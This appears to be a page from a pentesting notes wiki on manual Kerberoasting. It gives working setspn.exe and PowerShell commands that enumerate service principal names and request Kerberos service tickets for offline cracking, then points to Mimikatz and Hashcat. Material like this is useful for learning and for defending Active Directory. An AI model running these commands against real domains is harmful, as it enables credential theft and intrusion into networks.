Semi-Manual Way
Usually we would be doing kerberoasting with tools, but sometimes we don't have access to them, so this is more minimalistic approach.
Enumerating SPNs with setspn.exe
C:\> setspn.exe -Q */*Targeting a single user
PS C:\> Add-Type -AssemblyName System.IdentityModel
PS C:\> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/NC.riotech.local:1433"Retrieve all tickets with setspn.exe
PS C:\> setspn.exe -T RIOTECH.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }With this two commands we are:
Load necessary .NET classes (
Add-Type).Create an object for Kerberos authentication (
New-Object).The object requests a TGS ticket for the given service.
The ticket is stored in memory under that object.
Extract Tickets with Mimikatz
Base64 Blob Processing
Then go to Hashcat section in main Kerberoasting section and crack it.
Last updated